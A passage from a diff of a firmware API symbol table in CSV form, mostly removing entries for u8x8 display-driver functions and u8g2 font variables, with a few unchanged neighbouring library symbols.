-Function,-,u8x8_d_ssd1306_128x32_univision,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_128x32_winstar,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_128x64_alt0,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_128x64_noname,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_128x64_vcomh0,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_48x64_winstar,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_64x32_1f,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_64x32_noname,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_64x48_er,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_72x40_er,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1306_96x16_er,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1309_128x64_noname0,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1309_128x64_noname2,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1316_128x32,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1317_96x96,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1318_128x96,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1318_128x96_xcp,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1322_nhd_128x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1322_nhd_256x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1325_nhd_128x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1326_er_256x32,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1327_ea_w128128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1327_midas_128x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1327_seeed_96x96,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1327_visionox_128x96,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1327_ws_128x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1327_ws_96x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1329_128x96_noname,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1606_172x72,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1607_200x200,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1607_gd_200x200,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1607_v2_200x200,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1607_ws_200x200,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7511_avd_320x240,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75256_jlx172104,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75256_jlx19296,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75256_jlx240160,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75256_jlx256128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75256_jlx256160,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75256_jlx256160_alt,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75256_jlx256160m,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75256_jlx25664,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75256_wo256x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7528_nhd_c160100,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st75320_jlx320240,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_64128n,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_ea_dogm128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_ea_dogm132,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_erc12864,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_erc12864_alt,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_jlx12864,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_lm6059,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_lm6063,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_lx12864,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_nhd_c12832,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_nhd_c12864,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7565_zolen_128x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7567_64x32,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7567_enh_dg128064,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7567_enh_dg128064i,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7567_jlx12864,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7567_os12864,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7567_pi_132x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7586s_erc240160,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7586s_s028hn118a,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7588_jlx12864,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7920_128x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_st7920_192x32,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_t6963_128x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_t6963_128x64_alt,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_t6963_160x80,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_t6963_240x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_t6963_240x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_t6963_256x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1601_128x32,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1604_jlx19264,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1608_240x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1608_erc240120,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1608_erc24064,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1610_ea_dogxl160,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1611_cg160160,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1611_ea_dogm240,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1611_ea_dogxl240,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1611_ew50850,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1617_jlx128128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1638_160x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1701_ea_dogs102,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_uc1701_mini12864,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_dummy_cb,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_gpio_call,void,"u8x8_t*, uint8_t, uint8_t" -Function,-,u8x8_u16toa,const char*,"uint16_t, uint8_t" -Function,-,u8x8_u8toa,const char*,"uint8_t, uint8_t" -Function,-,u8x8_upscale_byte,uint16_t,uint8_t -Function,-,u8x8_utf8_init,void,u8x8_t* -Function,-,u8x8_utf8_next,uint16_t,"u8x8_t*, uint8_t" -Function,-,u8x8_utoa,const char*,uint16_t Function,-,uECC_compress,void,"const uint8_t*, uint8_t*, uECC_Curve" Function,+,uECC_compute_public_key,int,"const uint8_t*, uint8_t*, uECC_Curve" Function,-,uECC_curve_private_key_size,int,uECC_Curve @@ -4523,7 +3452,6 @@ Function,-,ulTaskGetIdleRunTimePercent,uint32_t, Function,-,ungetc,int,"int, FILE*" Function,-,unsetenv,int,const char* Function,-,usbd_poll,void,usbd_device* -Function,-,utf8_show,void, Function,-,utoa,char*,"unsigned, char*, int" Function,-,uxListRemove,UBaseType_t,ListItem_t* Function,-,uxTaskGetNumberOfTasks,UBaseType_t, @@ -5150,1831 +4078,6 @@ Variable,-,subghz_protocol_star_line,const SubGhzProtocol, Variable,-,subghz_protocol_star_line_decoder,const SubGhzProtocolDecoder, Variable,-,subghz_protocol_star_line_encoder,const SubGhzProtocolEncoder, Variable,-,suboptarg,char*, -Variable,-,u8g2_cb_mirror,const u8g2_cb_t, -Variable,-,u8g2_cb_r0,const u8g2_cb_t, -Variable,-,u8g2_cb_r1,const u8g2_cb_t, -Variable,-,u8g2_cb_r2,const u8g2_cb_t, -Variable,-,u8g2_cb_r3,const u8g2_cb_t, -Variable,-,u8g2_font_10x20_me,const uint8_t[], -Variable,-,u8g2_font_10x20_mf,const uint8_t[], -Variable,-,u8g2_font_10x20_mn,const uint8_t[], -Variable,-,u8g2_font_10x20_mr,const uint8_t[], -Variable,-,u8g2_font_10x20_t_arabic,const uint8_t[], -Variable,-,u8g2_font_10x20_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_10x20_t_greek,const uint8_t[], -Variable,-,u8g2_font_10x20_te,const uint8_t[], -Variable,-,u8g2_font_10x20_tf,const uint8_t[], -Variable,-,u8g2_font_10x20_tn,const uint8_t[], -Variable,-,u8g2_font_10x20_tr,const uint8_t[], -Variable,-,u8g2_font_4x6_mf,const uint8_t[], -Variable,-,u8g2_font_4x6_mn,const uint8_t[], -Variable,-,u8g2_font_4x6_mr,const uint8_t[], -Variable,-,u8g2_font_4x6_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_4x6_tf,const uint8_t[], -Variable,-,u8g2_font_4x6_tn,const uint8_t[], -Variable,-,u8g2_font_4x6_tr,const uint8_t[], -Variable,-,u8g2_font_5x7_mf,const uint8_t[], -Variable,-,u8g2_font_5x7_mn,const uint8_t[], -Variable,-,u8g2_font_5x7_mr,const uint8_t[], -Variable,-,u8g2_font_5x7_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_5x7_tf,const uint8_t[], -Variable,-,u8g2_font_5x7_tn,const uint8_t[], -Variable,-,u8g2_font_5x7_tr,const uint8_t[], -Variable,-,u8g2_font_5x8_mf,const uint8_t[], -Variable,-,u8g2_font_5x8_mn,const uint8_t[], -Variable,-,u8g2_font_5x8_mr,const uint8_t[], -Variable,-,u8g2_font_5x8_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_5x8_tf,const uint8_t[], -Variable,-,u8g2_font_5x8_tn,const uint8_t[], -Variable,-,u8g2_font_5x8_tr,const uint8_t[], -Variable,-,u8g2_font_6x10_mf,const uint8_t[], -Variable,-,u8g2_font_6x10_mn,const uint8_t[], -Variable,-,u8g2_font_6x10_mr,const uint8_t[], -Variable,-,u8g2_font_6x10_tf,const uint8_t[], -Variable,-,u8g2_font_6x10_tn,const uint8_t[], -Variable,-,u8g2_font_6x10_tr,const uint8_t[], -Variable,-,u8g2_font_6x12_m_symbols,const uint8_t[], -Variable,-,u8g2_font_6x12_me,const uint8_t[], -Variable,-,u8g2_font_6x12_mf,const uint8_t[], -Variable,-,u8g2_font_6x12_mn,const uint8_t[], -Variable,-,u8g2_font_6x12_mr,const uint8_t[], -Variable,-,u8g2_font_6x12_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_6x12_t_symbols,const uint8_t[], -Variable,-,u8g2_font_6x12_te,const uint8_t[], -Variable,-,u8g2_font_6x12_tf,const uint8_t[], -Variable,-,u8g2_font_6x12_tn,const uint8_t[], -Variable,-,u8g2_font_6x12_tr,const uint8_t[], -Variable,-,u8g2_font_6x13B_mf,const uint8_t[], -Variable,-,u8g2_font_6x13B_mn,const uint8_t[], -Variable,-,u8g2_font_6x13B_mr,const uint8_t[], -Variable,-,u8g2_font_6x13B_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_6x13B_t_hebrew,const uint8_t[], -Variable,-,u8g2_font_6x13B_tf,const uint8_t[], -Variable,-,u8g2_font_6x13B_tn,const uint8_t[], -Variable,-,u8g2_font_6x13B_tr,const uint8_t[], -Variable,-,u8g2_font_6x13O_mf,const uint8_t[], -Variable,-,u8g2_font_6x13O_mn,const uint8_t[], -Variable,-,u8g2_font_6x13O_mr,const uint8_t[], -Variable,-,u8g2_font_6x13O_tf,const uint8_t[], -Variable,-,u8g2_font_6x13O_tn,const uint8_t[], -Variable,-,u8g2_font_6x13O_tr,const uint8_t[], -Variable,-,u8g2_font_6x13_me,const uint8_t[], -Variable,-,u8g2_font_6x13_mf,const uint8_t[], -Variable,-,u8g2_font_6x13_mn,const uint8_t[], -Variable,-,u8g2_font_6x13_mr,const uint8_t[], -Variable,-,u8g2_font_6x13_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_6x13_t_hebrew,const uint8_t[], -Variable,-,u8g2_font_6x13_te,const uint8_t[], -Variable,-,u8g2_font_6x13_tf,const uint8_t[], -Variable,-,u8g2_font_6x13_tn,const uint8_t[], -Variable,-,u8g2_font_6x13_tr,const uint8_t[], -Variable,-,u8g2_font_7Segments_26x42_mn,const uint8_t[], -Variable,-,u8g2_font_7x13B_mf,const uint8_t[], -Variable,-,u8g2_font_7x13B_mn,const uint8_t[], -Variable,-,u8g2_font_7x13B_mr,const uint8_t[], -Variable,-,u8g2_font_7x13B_tf,const uint8_t[], -Variable,-,u8g2_font_7x13B_tn,const uint8_t[], -Variable,-,u8g2_font_7x13B_tr,const uint8_t[], -Variable,-,u8g2_font_7x13O_mf,const uint8_t[], -Variable,-,u8g2_font_7x13O_mn,const uint8_t[], -Variable,-,u8g2_font_7x13O_mr,const uint8_t[], -Variable,-,u8g2_font_7x13O_tf,const uint8_t[], -Variable,-,u8g2_font_7x13O_tn,const uint8_t[], -Variable,-,u8g2_font_7x13O_tr,const uint8_t[], -Variable,-,u8g2_font_7x13_m_symbols,const uint8_t[], -Variable,-,u8g2_font_7x13_me,const uint8_t[], -Variable,-,u8g2_font_7x13_mf,const uint8_t[], -Variable,-,u8g2_font_7x13_mn,const uint8_t[], -Variable,-,u8g2_font_7x13_mr,const uint8_t[], -Variable,-,u8g2_font_7x13_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_7x13_t_symbols,const uint8_t[], -Variable,-,u8g2_font_7x13_te,const uint8_t[], -Variable,-,u8g2_font_7x13_tf,const uint8_t[], -Variable,-,u8g2_font_7x13_tn,const uint8_t[], -Variable,-,u8g2_font_7x13_tr,const uint8_t[], -Variable,-,u8g2_font_7x14B_mf,const uint8_t[], -Variable,-,u8g2_font_7x14B_mn,const uint8_t[], -Variable,-,u8g2_font_7x14B_mr,const uint8_t[], -Variable,-,u8g2_font_7x14B_tf,const uint8_t[], -Variable,-,u8g2_font_7x14B_tn,const uint8_t[], -Variable,-,u8g2_font_7x14B_tr,const uint8_t[], -Variable,-,u8g2_font_7x14_mf,const uint8_t[], -Variable,-,u8g2_font_7x14_mn,const uint8_t[], -Variable,-,u8g2_font_7x14_mr,const uint8_t[], -Variable,-,u8g2_font_7x14_tf,const uint8_t[], -Variable,-,u8g2_font_7x14_tn,const uint8_t[], -Variable,-,u8g2_font_7x14_tr,const uint8_t[], -Variable,-,u8g2_font_8x13B_mf,const uint8_t[], -Variable,-,u8g2_font_8x13B_mn,const uint8_t[], -Variable,-,u8g2_font_8x13B_mr,const uint8_t[], -Variable,-,u8g2_font_8x13B_tf,const uint8_t[], -Variable,-,u8g2_font_8x13B_tn,const uint8_t[], -Variable,-,u8g2_font_8x13B_tr,const uint8_t[], -Variable,-,u8g2_font_8x13O_mf,const uint8_t[], -Variable,-,u8g2_font_8x13O_mn,const uint8_t[], -Variable,-,u8g2_font_8x13O_mr,const uint8_t[], -Variable,-,u8g2_font_8x13O_tf,const uint8_t[], -Variable,-,u8g2_font_8x13O_tn,const uint8_t[], -Variable,-,u8g2_font_8x13O_tr,const uint8_t[], -Variable,-,u8g2_font_8x13_m_symbols,const uint8_t[], -Variable,-,u8g2_font_8x13_me,const uint8_t[], -Variable,-,u8g2_font_8x13_mf,const uint8_t[], -Variable,-,u8g2_font_8x13_mn,const uint8_t[], -Variable,-,u8g2_font_8x13_mr,const uint8_t[], -Variable,-,u8g2_font_8x13_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_8x13_t_symbols,const uint8_t[], -Variable,-,u8g2_font_8x13_te,const uint8_t[], -Variable,-,u8g2_font_8x13_tf,const uint8_t[], -Variable,-,u8g2_font_8x13_tn,const uint8_t[], -Variable,-,u8g2_font_8x13_tr,const uint8_t[], -Variable,-,u8g2_font_9x15B_mf,const uint8_t[], -Variable,-,u8g2_font_9x15B_mn,const uint8_t[], -Variable,-,u8g2_font_9x15B_mr,const uint8_t[], -Variable,-,u8g2_font_9x15B_tf,const uint8_t[], -Variable,-,u8g2_font_9x15B_tn,const uint8_t[], -Variable,-,u8g2_font_9x15B_tr,const uint8_t[], -Variable,-,u8g2_font_9x15_m_symbols,const uint8_t[], -Variable,-,u8g2_font_9x15_me,const uint8_t[], -Variable,-,u8g2_font_9x15_mf,const uint8_t[], -Variable,-,u8g2_font_9x15_mn,const uint8_t[], -Variable,-,u8g2_font_9x15_mr,const uint8_t[], -Variable,-,u8g2_font_9x15_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_9x15_t_symbols,const uint8_t[], -Variable,-,u8g2_font_9x15_te,const uint8_t[], -Variable,-,u8g2_font_9x15_tf,const uint8_t[], -Variable,-,u8g2_font_9x15_tn,const uint8_t[], -Variable,-,u8g2_font_9x15_tr,const uint8_t[], -Variable,-,u8g2_font_9x18B_mf,const uint8_t[], -Variable,-,u8g2_font_9x18B_mn,const uint8_t[], -Variable,-,u8g2_font_9x18B_mr,const uint8_t[], -Variable,-,u8g2_font_9x18B_tf,const uint8_t[], -Variable,-,u8g2_font_9x18B_tn,const uint8_t[], -Variable,-,u8g2_font_9x18B_tr,const uint8_t[], -Variable,-,u8g2_font_9x18_mf,const uint8_t[], -Variable,-,u8g2_font_9x18_mn,const uint8_t[], -Variable,-,u8g2_font_9x18_mr,const uint8_t[], -Variable,-,u8g2_font_9x18_tf,const uint8_t[], -Variable,-,u8g2_font_9x18_tn,const uint8_t[], -Variable,-,u8g2_font_9x18_tr,const uint8_t[], -Variable,-,u8g2_font_BBSesque_te,const uint8_t[], -Variable,-,u8g2_font_BBSesque_tf,const uint8_t[], -Variable,-,u8g2_font_BBSesque_tr,const uint8_t[], -Variable,-,u8g2_font_BitTypeWriter_te,const uint8_t[], -Variable,-,u8g2_font_BitTypeWriter_tr,const uint8_t[], -Variable,-,u8g2_font_Born2bSportySlab_t_all,const uint8_t[], -Variable,-,u8g2_font_Born2bSportySlab_te,const uint8_t[], -Variable,-,u8g2_font_Born2bSportySlab_tf,const uint8_t[], -Variable,-,u8g2_font_Born2bSportySlab_tr,const uint8_t[], -Variable,-,u8g2_font_Born2bSportyV2_te,const uint8_t[], -Variable,-,u8g2_font_Born2bSportyV2_tf,const uint8_t[], -Variable,-,u8g2_font_Born2bSportyV2_tr,const uint8_t[], -Variable,-,u8g2_font_CursivePixel_tr,const uint8_t[], -Variable,-,u8g2_font_DigitalDiscoThin_te,const uint8_t[], -Variable,-,u8g2_font_DigitalDiscoThin_tf,const uint8_t[], -Variable,-,u8g2_font_DigitalDiscoThin_tn,const uint8_t[], -Variable,-,u8g2_font_DigitalDiscoThin_tr,const uint8_t[], -Variable,-,u8g2_font_DigitalDiscoThin_tu,const uint8_t[], -Variable,-,u8g2_font_DigitalDisco_te,const uint8_t[], -Variable,-,u8g2_font_DigitalDisco_tf,const uint8_t[], -Variable,-,u8g2_font_DigitalDisco_tn,const uint8_t[], -Variable,-,u8g2_font_DigitalDisco_tr,const uint8_t[], -Variable,-,u8g2_font_DigitalDisco_tu,const uint8_t[], -Variable,-,u8g2_font_Engrish_tf,const uint8_t[], -Variable,-,u8g2_font_Engrish_tr,const uint8_t[], -Variable,-,u8g2_font_Georgia7px_te,const uint8_t[], -Variable,-,u8g2_font_Georgia7px_tf,const uint8_t[], -Variable,-,u8g2_font_Georgia7px_tr,const uint8_t[], -Variable,-,u8g2_font_HelvetiPixelOutline_te,const uint8_t[], -Variable,-,u8g2_font_HelvetiPixelOutline_tr,const uint8_t[], -Variable,-,u8g2_font_HelvetiPixel_tr,const uint8_t[], -Variable,-,u8g2_font_IPAandRUSLCD_te,const uint8_t[], -Variable,-,u8g2_font_IPAandRUSLCD_tf,const uint8_t[], -Variable,-,u8g2_font_IPAandRUSLCD_tr,const uint8_t[], -Variable,-,u8g2_font_ImpactBits_tr,const uint8_t[], -Variable,-,u8g2_font_Pixellari_te,const uint8_t[], -Variable,-,u8g2_font_Pixellari_tf,const uint8_t[], -Variable,-,u8g2_font_Pixellari_tn,const uint8_t[], -Variable,-,u8g2_font_Pixellari_tr,const uint8_t[], -Variable,-,u8g2_font_Pixellari_tu,const uint8_t[], -Variable,-,u8g2_font_TimesNewPixel_tr,const uint8_t[], -Variable,-,u8g2_font_Untitled16PixelSansSerifBitmap_tr,const uint8_t[], -Variable,-,u8g2_font_VCR_OSD_mf,const uint8_t[], -Variable,-,u8g2_font_VCR_OSD_mn,const uint8_t[], -Variable,-,u8g2_font_VCR_OSD_mr,const uint8_t[], -Variable,-,u8g2_font_VCR_OSD_mu,const uint8_t[], -Variable,-,u8g2_font_VCR_OSD_tf,const uint8_t[], -Variable,-,u8g2_font_VCR_OSD_tn,const uint8_t[], -Variable,-,u8g2_font_VCR_OSD_tr,const uint8_t[], -Variable,-,u8g2_font_VCR_OSD_tu,const uint8_t[], -Variable,-,u8g2_font_Wizzard_tr,const uint8_t[], -Variable,-,u8g2_font_adventurer_t_all,const uint8_t[], -Variable,-,u8g2_font_adventurer_tf,const uint8_t[], -Variable,-,u8g2_font_adventurer_tr,const uint8_t[], -Variable,-,u8g2_font_amstrad_cpc_extended_8f,const uint8_t[], -Variable,-,u8g2_font_amstrad_cpc_extended_8n,const uint8_t[], -Variable,-,u8g2_font_amstrad_cpc_extended_8r,const uint8_t[], -Variable,-,u8g2_font_amstrad_cpc_extended_8u,const uint8_t[], -Variable,-,u8g2_font_artossans8_8n,const uint8_t[], -Variable,-,u8g2_font_artossans8_8r,const uint8_t[], -Variable,-,u8g2_font_artossans8_8u,const uint8_t[], -Variable,-,u8g2_font_artosserif8_8n,const uint8_t[], -Variable,-,u8g2_font_artosserif8_8r,const uint8_t[], -Variable,-,u8g2_font_artosserif8_8u,const uint8_t[], -Variable,-,u8g2_font_astragal_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_astragal_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_astragal_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_b10_b_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_b10_b_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_b10_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_b10_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_b12_b_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_b12_b_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_b12_b_t_japanese3,const uint8_t[], -Variable,-,u8g2_font_b12_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_b12_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_b12_t_japanese3,const uint8_t[], -Variable,-,u8g2_font_b16_b_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_b16_b_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_b16_b_t_japanese3,const uint8_t[], -Variable,-,u8g2_font_b16_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_b16_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_b16_t_japanese3,const uint8_t[], -Variable,-,u8g2_font_baby_tf,const uint8_t[], -Variable,-,u8g2_font_baby_tn,const uint8_t[], -Variable,-,u8g2_font_baby_tr,const uint8_t[], -Variable,-,u8g2_font_balthasar_regular_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_balthasar_regular_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_balthasar_regular_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_balthasar_titling_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_balthasar_titling_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_balthasar_titling_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_battery19_tn,const uint8_t[], -Variable,-,u8g2_font_bauhaus2015_tn,const uint8_t[], -Variable,-,u8g2_font_bauhaus2015_tr,const uint8_t[], -Variable,-,u8g2_font_beanstalk_mel_tn,const uint8_t[], -Variable,-,u8g2_font_beanstalk_mel_tr,const uint8_t[], -Variable,-,u8g2_font_bitcasual_t_all,const uint8_t[], -Variable,-,u8g2_font_bitcasual_tf,const uint8_t[], -Variable,-,u8g2_font_bitcasual_tn,const uint8_t[], -Variable,-,u8g2_font_bitcasual_tr,const uint8_t[], -Variable,-,u8g2_font_bitcasual_tu,const uint8_t[], -Variable,-,u8g2_font_blipfest_07_tn,const uint8_t[], -Variable,-,u8g2_font_blipfest_07_tr,const uint8_t[], -Variable,-,u8g2_font_bracketedbabies_tr,const uint8_t[], -Variable,-,u8g2_font_bubble_tn,const uint8_t[], -Variable,-,u8g2_font_bubble_tr,const uint8_t[], -Variable,-,u8g2_font_calibration_gothic_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_calibration_gothic_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_calibration_gothic_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_calibration_gothic_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_cardimon_pixel_tf,const uint8_t[], -Variable,-,u8g2_font_cardimon_pixel_tn,const uint8_t[], -Variable,-,u8g2_font_cardimon_pixel_tr,const uint8_t[], -Variable,-,u8g2_font_celibatemonk_tr,const uint8_t[], -Variable,-,u8g2_font_chikita_tf,const uint8_t[], -Variable,-,u8g2_font_chikita_tn,const uint8_t[], -Variable,-,u8g2_font_chikita_tr,const uint8_t[], -Variable,-,u8g2_font_chroma48medium8_8n,const uint8_t[], -Variable,-,u8g2_font_chroma48medium8_8r,const uint8_t[], -Variable,-,u8g2_font_chroma48medium8_8u,const uint8_t[], -Variable,-,u8g2_font_courB08_tf,const uint8_t[], -Variable,-,u8g2_font_courB08_tn,const uint8_t[], -Variable,-,u8g2_font_courB08_tr,const uint8_t[], -Variable,-,u8g2_font_courB10_tf,const uint8_t[], -Variable,-,u8g2_font_courB10_tn,const uint8_t[], -Variable,-,u8g2_font_courB10_tr,const uint8_t[], -Variable,-,u8g2_font_courB12_tf,const uint8_t[], -Variable,-,u8g2_font_courB12_tn,const uint8_t[], -Variable,-,u8g2_font_courB12_tr,const uint8_t[], -Variable,-,u8g2_font_courB14_tf,const uint8_t[], -Variable,-,u8g2_font_courB14_tn,const uint8_t[], -Variable,-,u8g2_font_courB14_tr,const uint8_t[], -Variable,-,u8g2_font_courB18_tf,const uint8_t[], -Variable,-,u8g2_font_courB18_tn,const uint8_t[], -Variable,-,u8g2_font_courB18_tr,const uint8_t[], -Variable,-,u8g2_font_courB24_tf,const uint8_t[], -Variable,-,u8g2_font_courB24_tn,const uint8_t[], -Variable,-,u8g2_font_courB24_tr,const uint8_t[], -Variable,-,u8g2_font_courR08_tf,const uint8_t[], 